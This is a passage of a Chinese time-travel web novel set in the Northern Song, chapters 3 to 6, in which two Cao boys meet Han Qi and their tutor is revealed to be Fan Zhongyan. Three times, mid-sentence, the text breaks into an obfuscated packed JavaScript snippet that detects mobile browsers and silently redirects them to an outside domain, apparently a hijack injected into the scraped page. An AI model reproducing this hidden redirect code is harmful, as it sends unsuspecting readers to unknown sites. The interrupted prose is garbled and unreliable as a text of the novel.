《穿宋后与语文天团为敌》 3. 脸没那么大 韩琦虽不一定理睬外戚,但他参加过宋夏战争,与曹佑的叔父曹琮虽没直接共事过,也勉强算得上战友。所以他心情很不好,也还是接了曹家的帖子。 韩琦告诉曹家仆人,今日天色已晚。如果曹佑明日无事,可以明早来拜见。 曹佑当然同意。明日早归家晚归家都无所谓,只要不错过城门门禁时间就成。 虽然曹暾早就能独自睡觉,到了陌生的地方,曹佑还是带着曹暾同睡。 即将见到历史名人,曹佑有点激动,不由对小侄儿多说了几句。 转世投胎十几年,曹佑性格越发趋近真正的少年郎。前世种种壮志未酬君臣背离的怨懑不平,都快被无忧无虑的童年驱散了。 如今正是大宋仁宗盛世。他有幸与名垂千古的名臣身处同一个时代,虽身如流萤不指望与皓月争辉,能照见一二皓月光辉,也算不白活一世。 听见小叔叔的念叨,曹暾可没有在人前那种怕生但礼貌的普通孩童模样,直接给小叔叔丢了对卫生球白眼。 庆历名臣有名是有名,还没到不能争辉的程度。只是他和小叔叔最好别争。 烂怂大宋,做得越多死得越惨。争什么身后名?还是活着享受最好。反正他活不到靖康耻的时候,完全可以舒舒服服地躺一辈子。赵家的天下和我曹暾有什么关系? 曹暾算了算时间,姑母变成太后时,正好自己刚及冠不久,正是享受荣华富贵的时候。 什么新党旧党,只要自己不下场,谁敢来招惹自己?哼。 “小叔叔,你敬佩归敬佩,可别学他们。”曹暾早就发现自家小叔叔对大宋有一腔不合时宜的热忱,可千万别跟着庆历名臣学坏了。 曹佑笑了笑,道:“我清楚曹家的处境,你放心。” 曹暾可一点都不放心。 他和小叔叔一同长大(虽然自己还没长大),把小叔叔当亲生兄长一样看待。未来的荣华富贵,他是要和小叔叔一起躺着享受的,绝对不能让小叔叔学叔祖父,为赵家那群没本事的皇帝做牛做马还讨不到好。 曹暾知道小叔叔看似温和,实则性格执拗,很有主见,自己的唠叨再多也没用,就不再多嘴。 他们时间还很多。等回东京后,他再想办法,慢慢改变小叔叔的思想。 为免小叔叔继续滔滔不绝地说韩琦和那帮庆历名臣有多好,曹暾转移话题,说起对朱夫子的不满。 曹佑倒是对朱夫子的学识很敬佩,没觉得朱夫子有哪里不好。朱夫子的本事,为暾儿启蒙是大材小用了。 “暾儿,你多虑了。只是启蒙夫子,他不会为我们招惹麻烦。”曹佑道,“叔父专门为你寻来的启蒙夫子,不是我们想换就能换的。” 即使叔父对他和暾儿极好,他和暾儿也是寄人篱下,哪能任性? “你站在我这边,别阻止我就成。我自己会想办法。”曹暾道。 曹佑知道自家侄儿主意大,下定决心的事旁人劝不了,便只叹了口气,应了声“好”。 希望等暾儿和朱夫子相处时间多一点,就会改变主意。 韩琦身为举世闻名的大文人,即使在贬谪路上,也是会早起读书的。曹佑不愿给韩琦留下坏印象,虽仍旧心潮澎湃未消,也拍着曹暾的背,哄曹暾早早入睡。 曹暾睡着前,突然想起一件事:“对了,小叔叔,韩琦……韩资政今天在外面吵闹什么?是和谁起了冲突吗?” 曹佑拍着曹暾的背的手一顿:“没起冲突,韩资政只是和村人起了点小误会。” “哦。”曹暾打了个哈欠,沉沉睡去了。 曹佑想起出去见到的那一幕,心里叹了口气,把小侄儿往怀里揽得更紧了些。 鸡鸣时刻,天蒙蒙亮,曹佑便醒了过来。 他闭着眼睛养了一会儿神,就蹑手蹑脚起床。 曹暾翻了个身,闭着眼睛嘀咕:“小叔叔,睡不够会长不高。这么早起床,小心长成个小矮子。” 曹佑揉了一把小侄儿的脑袋:“你再眯一会儿,饭做好叫你。” 曹暾哼哼了两声,眼皮子一动不动。 早饭不需要多复杂,曹佑吩咐了仆人做饭后,先练了一会儿刀。 不一会儿,朱夫子也起床洗漱。他眼下青黑,显然没睡好。 曹佑想起曹暾昨日的话,心想朱夫子可能真的认识韩资政。 等回东京后,他得向叔父问问朱夫子真正的身份。 曹佑不蠢。曹家虽富贵,但他的父亲只是个小官,英年早逝的大哥曹傅也没到需要养幕僚的地位。昨日见识过朱夫子的才华后,他可不信这样的大才会给普通的地方小官当幕僚。 曹佑将疑问藏在心底,热情地再次询问朱夫子,是否要与他一同去拜访韩资政。 朱夫子再次拒绝。 曹佑肯定了心底的猜测。以韩资政在文人中的名声,朱夫子不像是不喜韩资政,却有机会拜见韩资政而不去,明显有问题。 “那朱夫子请再多休息一会儿。”曹佑装作什么都没发现道,“我与暾儿去去就回。” 朱夫子道:“韩资政德量才智皆异于常人。若韩资政得空,你和暾儿要多多请教,不必急着回来。” 曹佑点头:“好,我努力为之。” 朱夫子失笑:“倒也不必多努力。韩资政性宽厚,乐荐才。以你的资质,是能打动他的。你只要展露自己即可。” 曹佑再次点头应下,心里却不以为然。 他前世出身贫寒,在军旅中有了几分地位后才有机会手不释卷,但兵马劳顿,总不能静下心来研读经典。今生倒是安安静静地读了书,可要说能被韩资政看重,他是不抱希望的。 曹暾揉着眼睛出门时,正好听见朱夫子和曹佑的对话,一眼看出小叔叔又在心底过度谦虚了。 他就不明白,以小叔叔的本事,完完全全该当一个恃才傲物的少年英才。这过分谦虚和谨慎的闷墩子性格,难道是曹家的遗传? 很有可能。他们曹家人都挺闷的。 朱夫子见到曹暾后,郁结的神情好转了不少。 他不顾食不语的规矩,不住叮嘱曹暾要如何才能获得韩琦的好感。 曹暾绷着冷淡的小脸,心里的吐槽快憋不住了。 朱夫子啊,你真是把你认识韩琦,甚至可能是韩琦友人的事,装都不装了吗? 曹佑牵着曹暾去拜见韩琦的时候,韩琦正在看书。 曹暾悄悄打量韩琦,如今的新党,以后的旧党,在各种故事中和大英雄狄青纠缠不清的名人。 曹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532089|186390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暾前世为讨好喜欢宋朝的“清高文人”导师,对宋史略有些研究。 重活一世,前世的记忆对曹暾而言就像是第一人称玩了一部全息游戏,他与前世的那个人性格完全不同,对前世经历的事也没有感情——他也不敢有感情,不然就对这烂怂大宋更没感情了。但前世只要记住过的知识,他都能从记忆宝库里调用出来。 韩琦的故事,他也是记得的。 后世常说他欺辱迫害狄青。实际上记载了韩琦与狄青不睦的宋人笔记小说《默记》,不是黑韩琦,而是黑狄青的。它的作者是欧阳修的徒孙王铚。 狄青在《默记》中公私不分,性情狭隘,滥用私刑,是充当被打脸的反派人物。韩琦才是正面人物。 只是现代人的思想和宋人不同。明明是贬低狄青的《默记》,倒是成了许多人认识和喜爱狄青的源头。 实际上狄青在正史中不仅公私分明,心胸宽广,《默记》中黑狄青的那些事件都已经被证伪,《宋史》《续资治通鉴》等书中都不愿意采纳其观点。 韩琦在狄青活着的时候,还是坚定不移地对外强硬派,与狄青关系很好。狄青死后,是韩琦为他撰写的祭文。 对于现在的韩琦,曹暾是有几分欣赏,也有几分好奇的。 曹佑见到韩琦后,就恭恭敬敬呈上自己对这些年的读书心得。 在看曹佑读经史的心得时,韩琦只是微笑着捋了捋他的文人须;当韩琦的手翻到曹佑读兵书的心得时,他猛地抬头,不敢置信地看着曹佑。 “这真是你的心得?”韩琦素来对后辈很是宽厚,这还是第一次质疑后辈呈来的心得真假。 曹佑道:“是我的心得。” 韩琦呼吸急促了几下,低下头继续看,竟不理睬曹佑了。 曹佑有些为难。 自己倒是可以一直站着,但暾儿年幼,站不住啊。 他正琢磨着要不顾礼仪,提醒韩琦意识到自己身边还跟着一名幼童时,就听见身后传来干咳的声音。 韩琦不悦抬头。 门口那人高声道:“鄙人朱说,乃曹家新聘的夫子,前来拜见韩资政。” 韩琦:“???” 韩琦:“!!!” 朱夫子又干咳了一声。 韩琦深呼吸,颤颤巍巍地站起来:“你……你……” 朱夫子神色恭敬:“鄙人朱说,与曹家两位小郎君一同前来拜见韩资政。” 韩琦终于回过神,指着门口道:“你们二人先出去。我有话与你们的朱夫子说。” 曹佑敏锐地察觉气氛不对,捞起曹暾就跑。 曹暾遗憾地叹气。这就走啦?他感觉会有很好玩的事发生呢! 不出曹暾所料,两人前脚出门,朱夫子后脚就关上了门。 然后,他们竟听见门内传来乒零乓啷的打砸声,甚至还有一声惨叫。 曹暾:“难道朱夫子和韩资政打起来啦?” 曹佑耳朵更尖:“我想,朱夫子可能是单方面被韩资政揍了。” 曹暾捧脸:“哇哦!” 他又有点怀疑了,会被韩琦揍的“朱说”,不会真的是范仲淹吧? 哈哈,怎么可能?范文正公跑来给自己当启蒙夫子,我曹家哪来那么大的脸。 4. 世界活过来 自家朱夫子居然和大名鼎鼎的韩琦打了起来(单方面被殴打也叫打),曹暾有点兴奋。 大宋身为一个封建王朝,就像一滩腐烂的死水。曹家也谨小慎微,像一潭不敢出声的死水。 曹暾一直感觉闷闷的,提不起劲。 自拥有前世记忆以来,曹暾第一次感到那一滩难捱的死水出现了涟漪,史书中那些模糊的剪影有了活人感。 噗,反正看史书,绝对看不出老成持重的韩琦会殴打朋友。 曹佑也很震惊,没想到史书中的韩忠献公还有这一面。听到叽叽咕咕的笑声后,曹佑垂头,见小侄儿双手捂嘴,笑得像只偷了案上蒸鱼的小狸奴。 暾儿平时对什么事都兴趣缺缺的模样,他还是第一次见到自家小侄儿笑得这么促狭。 “好了,安静些,别被发现。”曹佑按了按矮墩墩侄儿的脑袋。 他其实想让曹暾别笑,不礼貌。但他也挺想笑的,就不要求曹暾做自己也做不到的事了。 曹暾小碎步挪动到曹佑身后,仍旧双手捂嘴,叽叽咕咕地笑。 曹佑想了想,问驿站小吏要了一张小矮凳,抱着曹暾坐在走廊里,等朱夫子和韩资政交流完感情。 曹暾窝在小叔叔的怀里,就能遮着脸随意笑,不会被人发现了。 曹暾笑够了之后,打了个大大的哈欠,在小叔叔怀里补觉。 曹佑拿出一卷史书,津津有味地看了起来,很快便不知外界动静。 韩琦已经把门打开,正和朱夫子悄悄打量坐在门外的叔侄二人,曹佑也没察觉。 韩琦压低声音道:“我还是不信你去给曹家当夫子,只是心灰意冷地隐居。” 朱夫子揉着乌青的眼角,小声道:“你就当是如此。别多问。” 韩琦白了朱夫子一眼,酸溜溜道:“官家真是信任你啊,我不能比。” 朱夫子沉默了一会儿,道:“稚圭,即使在私下,我们也不该称呼陛下为官家。这大概就是我们失败的最重要的原因。” 韩琦的眼睛猛地瞪大。 半晌,他双目慢慢阖上,声音悲怆:“可能吧。” 官家官家,是太/祖时的自谦,也是民间私下对皇帝的代称。就如后汉时,民间称皇帝为“县官”一样。 但民间的代称和皇帝的谦称,不该是臣子对皇帝的称呼。即使大臣私下常如此称呼。 曾经太宗皇帝对民间庶民称呼他为“官家”都有所不满,先后询问大臣徐铉、杜镐同样的问题:“官家之称其义安在?” 两位大臣引经据典,从《汉书》中找到了让太宗皇帝满意的解释:“三皇官天下,五帝家天下。盖皇帝之谓也。” 三皇时选举贤能的人禅让,五帝后帝位只传给自己的子嗣。如秦始皇从“三皇五帝”中截取“皇帝”二字为自称,“官家”也是从此句中截取,含义都一样。 太宗皇帝虽然对大臣的解释满意了,但他需要大臣来特别解释这件事,就是证明其实对民间称呼他为“官家”不满意。 范仲淹和韩琦严守礼数,一直敬称皇帝为“陛下”。朱夫子……范仲淹此言,不是说他与韩琦在称呼上冒犯了皇帝。 他是在问韩琦,也是在自问,他们可是将皇帝的自谦当成了真话?可是有过让皇帝“垂拱而治”的妄念? 他们可是……可是真的以为,士大夫能与皇帝共治天下。 范仲淹反省过,新政失败在于黑白分明,形成党争,扰乱朝政。 但皇帝私下告知范仲淹太子身份,让范仲淹去教导太子的时候,范仲淹才知道自己并未失去皇帝的信任,皇帝没有因他人的攻讦动摇君臣之谊。 那陛下在动摇什么?他的动摇又是在敲打什么? 韩琦苦笑:“欧阳永叔那道《朋党论》的上书,虽说是辩解君子结党不为营私,但对陛下而言,为公为私都不是为君王,这便是错了。” 范仲淹黯然颔首,但还是安慰韩琦道:“陛下是仁君,他只是略微敲打我等,过一段时间,应该就会将我们召回。你我记住这个教训便是。” 记住教训……韩琦心情更加低落。 他们一系列激进措施的信心基础,都是建立在皇帝确实是与他们志同道合,是至公的圣君,愿意与贤能的士大夫共治天下的基础之上。 他们从一开始,就错了吗? 韩琦转移话题:“你是哪一位曹家子的夫子?” 范仲淹道:“皇后的侄儿曹暾,乃是郎君。” 汉代时起,官宦子弟都可自称“郎君”。但自唐时起,“郎君”也是太子的别称。 韩琦想说什么,但又抿住嘴,只是脸上浮现一抹焦躁。 两人为挚友,即使韩琦不说,范仲淹也知道韩琦想问什么。 所以皇帝暗示他,给予他充足的信任,让他可以将太子身份告知他人时,范仲淹最初没想过告知任何友人。 最终,韩琦还是按捺住心中的渴望,没将话问出口。 他没有问,太子性格如何,他们能否借由教导太子,将太子影响成为他们希冀的贤明仁义之君。 韩琦挣扎了许久,缓缓吐出一口贪心不足的浊气,苦笑道:“希文啊,你不该来寻我。” 范仲淹平静道:“我本不打算去寻任何人,只是碰巧遇见你了,就没忍住。” 韩琦看着范仲淹脸上的乌青,握拳抵住嘴唇,不好意思地低声道:“抱歉。” 范仲淹摇头:“无事。你可别再告知他人了。” 富弼离得太远,此等重要之事不能在书信中透露;欧阳修等人太过冲动,恐不能隐藏秘密。 范仲淹来见韩琦虽是一时冲动,但韩琦确实是能保守秘密的人,又即将外放扬州,告知他也不会影响大局。 韩琦点头承诺:“我绝对不会泄露秘密。” 承诺后,韩琦有点郁闷:“但陛下此举是不是太过荒唐?” 朝中同僚可是为陛下的继承人焦虑不已啊,陛下怎么能将太子藏起来不告诉天下? 范仲淹道:“可能是陛下子女早夭太多,忧虑宫中不干净。此乃宫闱阴私,你我不要过问。” 韩琦想起真宗只有一子,如今陛下好色……咳,后宫人数充盈,所生皇子公主,取名者就有十人,而未曾早夭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532090|186390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活到如今者,竟只有福康公主一人。 陛下连死九位皇子公主,心里没有惊惧疑虑是不可能的,将曹皇后所生嫡子藏起来也是能理解的。 不过…… 韩琦纳闷:“皇后是怎么瞒着众臣生子还不被人发现的?” 范仲淹也不知道。但有一件事范仲淹猜到了:“皇后恐怕也担忧宫中有人对太子动手。甚至她可能连陛下都不信任。” 韩琦抚了抚狂跳的小心脏,咬牙道:“说好的不提宫中阴私?” 范仲淹给了韩琦一个“你自己在问”的眼神。 韩琦的拳头又痒了。 两人在西北宋夏战场的时候,没少因见解不同而吵架。范希文看似冷清矜贵,实际上恼人的时候真的是特别惹人恼。 范仲淹轻推了韩琦一把:“既然撞见了,还不快去拜见郎君?” 韩琦冷哼了一声,走到痴迷读书的曹佑面前。 曹佑还没察觉有人到来。 韩琦拈须微笑。我等读书人,就该如此专注。 他本来看了曹佑的军论后只是八分赞赏,见曹佑旁若无人读书的模样,那八分自然涨到了十分。 再见他读书时也不忘护住怀中小郎君,让小郎君能熟睡的模样,十分都不足以形容韩琦心中的满意了。 虽然许多读书人都很酸卫青霍去病,但韩琦深知,外戚天生是皇帝的臂膀。若有忠诚大才为皇帝臂膀,是国之幸事。 不过如果曹佑将来不忠诚了,自己的笔也能变成杀人的刀。 韩琦突然悟到,他们不能影响太子的思想,但可以影响曹佑的思想啊。 这么一想,韩琦越打量曹佑越满意。他要不要收个弟子? 范仲淹看出韩琦的见才心喜,轻踹了韩琦一脚。 老实点!曹佑也是被陛下选中,在陛下心里上了名的! 韩琦收起小心思,轻声道:“抱歉,我与友人久别重逢太过欣喜,让你们久等了。” 曹佑从书海遨游中惊醒,忙抱着曹暾站起来道:“无事无事,韩资政客气了。” 曹暾蹬了一下腿,呼呼大睡,完全没有醒来的意思。 韩琦看着曹佑怀里的小郎君眼馋,又想和小郎君说话,又不愿吵醒小郎君。 曹佑轻轻拍了拍曹暾的屁股:“暾儿,醒了。” 韩琦忙道:“不用……唉!” 曹暾已经醒了。 他揉了揉眼睛,惺忪了好一阵子,才回过神,看到面前正伸头看自己的中年人。 对视一秒,两秒,三秒…… 曹暾眨了眨眼睛,拱手:“小子拜见韩资政。” 韩琦喜笑颜开,脸上郁气一扫而空,眉目疏朗。 曹暾小小倒吸了一口气。 啊,之前见到神情郁郁的韩琦,还以为韩琦和朱夫子是同辈人呢。 怎么韩琦一笑,竟变成了一个器宇轩昂的大帅叔叔,连那短短的文人山羊须都变得顺眼起来,瞬间年轻二十岁? 史书中刻板的人物剪影不仅殴打自家朱夫子,还变成了大帅哥。曹暾有一种自己的世界活了过来的错觉。 5.郎君有志向 或许是有了朋友引荐,韩琦对曹佑、曹暾叔侄二人热情许多。 但曹暾感到奇怪的是,韩琦明明之前还被小叔叔的军策惊了一下,现在却只给小叔叔列了书单,送给小叔叔几本自己的著作,便把小叔叔丢到一边,只拉着自己的小短手,不断问自己读了什么书。 曹暾其实读了很多书。 虽然啃拗口且有通假字的文言文实在是太过艰难,噎得曹暾泪眼汪汪,但古代无聊,除了读书没有其他有趣的事打发时间,何况,曹暾还有小叔叔这个翻译工具人,读书就当是娱乐了。 曹家境遇不好,曹佑不愿多交友。每当想与人分享阅读心得时,曹佑就念给曹暾听,给曹暾当翻译工具人当得心甘情愿。 但曹暾对韩琦不熟,不想太显眼,便只说了几本他这个年龄的孩子应该读的启蒙书籍。 韩琦又问曹暾能背哪些,他只说了《千字文》。 曹暾本为敷衍韩琦,不想被陌生人考校。韩琦若让他背《千字文》,也就一会儿的事,背完就可以偷懒休息。 谁知道一本《千字文》,韩琦都能讲出花来,将其中典故细细道来。 曹暾听得昏昏欲睡。 诚然,韩琦讲课其实讲得不错,浅显易懂,若是寻常四五岁孩童,恐怕会听得津津有味。 可曹暾不是寻常孩童。 《千字文》中的那些典故,他连原著作都能倒背如流。韩琦用哄孩子的故事给他讲解典故,就像是有人给历史专业的大学生讲解注音卡通版的司马光砸缸一样,曹暾心里只会烦躁得狂念司马光的姓氏。 但韩琦在文坛朝野的名望都很高,曹家则活得战战兢兢如履薄冰,曹暾得罪不起韩琦。他只能装出一个感兴趣的模样,努力睁大快要睡过去的眼睛,憋出一个黏糊糊的小奶音,用恶心心的叠字字,来表达自己对韩琦的敬仰。 韩琦的笑容越发疏朗,范仲淹看得很是欣喜。 他们都在心底欢喜太子的颖悟。 只有曹佑悄悄握拳,短短的手指甲都陷进了掌心里,才忍住笑。 他深知曹暾真正的学习进度,也很熟悉曹暾伪装下的真意。 暾儿恐怕已经使出了平生最大的力气,来抑制住他无聊的哈欠了。 韩琦的地位太高,曹佑不能打断韩琦对小侄儿的教导,只能在心底同情小侄儿。 再者,曹暾平日总一副恹恹的模样,比自己这个重活一世的人还要冷漠。难得见一次曹暾装可爱幼童的样子,曹佑虽知道曹暾心里很苦,也乐呵得想要把这有趣的一幕画下来,忍不住多看一会儿。 曹暾偷偷瞥了一眼曹佑,哪能看不出小叔叔在心底看自己笑话。 可恶,等小叔叔睡着,我要在小叔叔脸上画大王八! 小叔叔不肯救自己,曹暾就只能自救。 他身体晃了晃,装出一副疲惫的模样。 曹暾本就瘦小,皮肤白得几乎看不见血色。这一晃,吓得韩琦从椅子上蹦起来,一把将曹暾抱了起来。 曹暾:“……”我只是装累,至于这么紧张吗? 韩琦哪能不紧张?他紧张得心脏都快从嗓子眼跳出来了,恨不得扇自己两巴掌。 太子还这么小,看着身体也很虚弱,他怎么能让太子一直站着听他讲课? 和学生讲课讲习惯了,韩琦现在才发现问题。 范仲淹也回过神,暗自后悔。 其实曹暾没站多久,若是寻常同龄孩童,此时顶多按捺不住想要动一动,不会累到。 可能是曹暾那煞白的小脸太具有欺骗性,也可能是太子的身份太贵重,韩琦和范仲淹难免慌张。即使曹家随行的大夫说曹暾没问题,他们也不敢放松。 韩琦还担心,是不是城外环境太差,让曹暾感染上病症。他不敢再多和曹暾相处,让曹佑赶紧带着曹暾回家。 若不是怕吓着曹暾,韩琦都要捶胸顿足了。 虽然他舍不得太子,但太子的安危才最重要啊,该早些把太子送回东京城才对!自己糊涂啊! 韩琦把曹暾送上马车的时候,双手都在颤抖,那泫然欲泣的模样,把曹暾吓得不轻。 曹佑瞥曹暾:看,装累把韩资政吓到了。 曹暾瞥曹佑:怪我啰! 叔侄二人在马车里面面相觑。 范仲淹伴君多年,察言观色的技能点满了。他虽然心里还是很紧张,但一见叔侄二人的表情,就察觉了不对。 范仲淹犹豫了一瞬,试探地问道:“暾儿难道不是劳累过度?” 曹佑揉了揉曹暾的脑袋,帮曹暾解释:“暾儿只是拜见韩资政时太谦虚,待韩资政讲课时,他又不好说自己之前是谦虚,所以强撑着听困了,并不是真的劳累,也不是生病。抱歉,让夫子和韩资政担忧了。” 范仲淹重复道:“听……困?” 曹佑忍笑:“暾儿,朱夫子要为你启蒙,你该告知朱夫子你真正的学识。” 曹暾犹豫。 曹佑道:“暾儿,我朝少年天才众多,五岁能诗文,九岁通五经者,比比皆是。你将来不是想考童子科吗?敢应试童子科者皆不比你差。你若藏巧于拙,夫子怎么能教导你?” 范仲淹再次脑海一片空白,只能继续重复:“应试……童子科?” 曹暾仍旧不信任朱夫子。见朱夫子竟然与韩琦交好,他就更担忧。 不过他转念一想,若朱夫子真是韩琦认可的友人,那才学肯定极其出众。叔祖父千辛万苦为自己找来这样的夫子,恐怕不会任由自己三言两语就换人。他再担忧,也只能在朱夫子手下学习。 唉,真麻烦。 曹暾便懒得装了,露出日常挂在脸上的恹恹表情,拱手的模样很礼貌,但冷漠的语气很不礼貌道:“小子已经通读五经,正在读史。” 曹佑可不给曹暾谦虚的机会。 他的想法和曹暾一样。朱夫子是韩琦友人,便肯定是儒学大家。叔父一定花了许多心思才为暾儿求来这样的贤才为夫子,暾儿想要换夫子的希望绝对不可能实现。 师生关系极其重要,暾儿性格狂傲,可别得罪朱夫子,耽误以后仕途。 曹暾不愿多说,曹佑便帮他炫耀。 范仲淹的嘴微微张开,半晌忘记合拢,听曹佑把曹暾夸得天花乱坠。 曹暾几乎过目不忘,何止通读,他早就通背了五经,《论语》和《孟子》也已经全部背下; 正在读史也是谦虚的说法,曹暾读史的进度和曹佑差不多,因为曹佑不能过目不忘; 曹暾还在学写诗文,诗词已经通韵律,散文策论更是如同成年人一般老练…… 曹佑炫耀起侄儿来,就闭不上嘴。 曹暾给了小叔叔好几个白眼,从马车车座下的小柜子里摸出水囊丢给滔滔不绝的小叔叔润喉。 “暾儿虽然极其优秀,也还是有一些缺点的。他识字很快,学写字却较慢,字写得不太好看。且暾儿虽过目不忘,但要理解了才能背诵。识文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16542044|186390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断字对他而言还是难了些,所以史书典籍看得比经书慢。”曹佑勉强给小侄儿找了几个不算缺点的缺点。 曹暾还不到五周岁,他说的缺点能叫缺点吗?当然不是。 曹佑只是告诉朱夫子曹暾学识的薄弱处,好让朱夫子教导而已。 曹暾却有点羞恼。 身为穿越者,他即使有过目不忘的金手指,学写字的进度也只比寻常五岁孩童好上不多的一点,他怎么能不羞恼? 其实刚学习识文断字时,他的进度和寻常孩童也差不多。只是他理解了文章后,能迅速背下,才与寻常人拉开差距。 没办法,他也很无奈。 毛笔繁体字实在是太难啦!我前世从小到大都没写过毛笔字!笔画太多我真的记不住! 文言文实在是太难啦!高考语文的那几段文言文,在此时简直和白话文一样简单易懂! 曹暾本来也不想冒充什么神童。反正他只要躺到弱冠,就能抱着姑母的大腿安享富贵。 但无奈,家里太穷了。以曹家的谨小慎微和姑母的严厉,估计曹家子弟若不能靠自己当官,也不会被朝堂重用。而家无余粮,没有遗产继承,在宋朝不当高官就别想躺得舒坦。 如今宋朝科举还要考写诗,他实在是没有写诗那个天赋。 再者他只是记忆力好,真和这个时代的成年人比学问,不一定比得过。宋仁宗到宋神宗年间的进士们是什么样的非人类啊,语文课本上那些必备诗文的署名上都记着呢! 思来想去,他只能欺负同龄小朋友。 你二三十岁通晓儒家经典,虽然我到了二三十岁的时候不如你了,但你孩童时期总不能像我一样对儒家经典倒背如流吧? 曹暾此番回京最大的计划,就是走童子科这个捷径。 宋代规定,十五岁(虚岁)以下童子可由官员举荐,参加童子试。宋朝皇帝对童子试很重视,每有神童,必亲试之。官员和神童父母不敢欺君,所荐神童大多名副其实,如杨亿、晏殊等人,皆是文坛巨擘,当过宋朝的宰相。 曹暾一想,头大如斗,压力如山。 大宋虽然烂怂,但大宋的文人实在是太卷了。 杨亿、晏殊等人皆虚岁六七岁便会写文章,自己都虚岁五岁了,年龄已经不小了! 天啦,自己再不努力,都不一定考得上童子科了! 要在宋朝当一只混吃混喝的富贵咸鱼,真不容易啊。曹暾思及自己的计划,不得不收起赶走大麻烦朱夫子的念头,乖乖作揖,叹着气道:“小子确实要考童子科,请夫子教我。” 范仲淹呆若木鸡。 他倒不是因曹暾的颖悟绝伦而呆滞。 范仲淹神童见得多了,与他亦师亦友的晏殊就是童子科出身的正宗神童。 他呆滞的是,太子……要考童子科? 考完童子科之后呢?难道太子还想以进士之身入朝为官? 啊这……太荒唐了!等太子的身份昭告天下后,不知群臣会闹成什么样子! 范仲淹理智上知道自己应该阻止,但他完全想不出阻止的借口。 太子有考上童子科的本事,为何不考?身为曹家麒麟儿,他以自身才学入朝为官,凭什么阻止? 太子又不知道他是太子! 范仲淹缓缓地吸气,又缓缓地吐气。 他僵硬地微笑道:“郎君有志向,极好,极好。” 极好,极好……回京就把这个难题丢给陛下。 6.无波亦无澜 曹家马车离开时,韩琦站在原地目送,眼含忧虑,久久不肯离去。 希望太子能平安长大,这样朝堂的争端就能少了大半。 一位仆从走来,禀报道:“韩公,昨日那农家把送去的铜钱退回来了。” 韩琦脸上的忧虑一僵。 他转过身,急切道:“为何?他们非得杀死刚出生的儿子吗!” 仆从道:“没杀,也没收。他们说害怕养不活,惹了韩公生气,以后遭祸。而且他们不缺钱,只缺粮。” 韩琦嘴唇翕动,满腹话语化作了一声叹息:“缺粮啊……是我想得不周到。你取些粟米送去。” 仆从不懂:“韩公,这种事很常见,公能管得了一例,又有何用?” 韩琦双手背在身后,仰头看着天光:“无何用。” 东京繁华,京城周边村落多入城做工,工钱不低。若换了个只管清闲事的官员,一定会疑惑,东京城郊怎么还会有杀子之事。 韩琦辗转地方多年,精通俗务。他不会疑惑。 东京城的百姓不缺钱,缺粮。宋夏战争三年,富户可能家财万贯,却买不到新的粟米。 按照史书中的记载,缺粮时应该粮价飞涨。但众所周知,粮荒之时还有余粮贩卖者,背后皆是达官贵人。东京城里处处有台谏官,谁也不敢囤积居奇。此本乃善事,然而无利可图,商人干脆不卖粮了。 很荒唐,但是现实。 此时该官府开仓。但宋夏战争再加上连年天灾,官仓也无太多余粮,那粮荒,就在所难免了。 如今宋夏战争已经结束,或许百姓会好过许多,至少京郊不必再行那杀子之事。韩琦闭上双眼,心中有一瞬的迷茫。 宋夏战争,他是坚定的主战派。如今战争已经结束,庆历和议已经签订,大宋只要每年赐给西夏银、绮、绢、茶各二十五万五千,西夏就取消帝号,他的目的已经达到。 可这国内民不聊生,边疆精锐丧失过半的现状,主战真的正确吗? 如果给西夏一个虚名,就能免于之后这么多的损失,是不是一开始就和谈更好? 恍惚之后,韩琦很快坚定了自己的信念。 西夏主动袭击大宋,大宋乃是不可不为之的反击。他没有错。 “我知无何用。”韩琦道,“但遇上了,便不能不管。” 仆从道:“是,韩公。” 韩琦又往远处眺望,已经看不到曹家马车扬起的尘埃时,他才转身离去。 曹家马车离开韩琦的视线后不久,就被人拦住。 仆人敲着马车门禀报,前面有人葬孩子,不吉利,希望达官贵人们绕路。 张姓马车夫惊惧地跪着解释道,他随曹将军离京多年,离京前,这里还不是埋孩地。 曹佑赶紧把曹暾耳朵捂住,皱眉道:“闭嘴!赶紧绕路!” 叔父派来的人在军旅中待太久,分不清轻重了吗!这话怎么能当着暾儿的面说! 范仲淹从曹暾准备考童子科的惊吓中回过神,赶紧伸手拉下马车的窗户帘。 曹暾拍了拍曹佑捂着自己耳朵的手:“小叔叔,我都听见了,你再捂有什么用?你姓张是吧?我听旁人都叫你老张。老张,无心之失不为错,绕过去便是。不用紧张,我不害怕。” 曹佑把手放下:“立刻驾车,不要耽误时间。” 马车夫连滚带爬地起身,换条小道进城。 曹佑脸色很难看。 他拦住了曹暾昨日的好奇,没想到还是没挡住。真是太不吉利了! 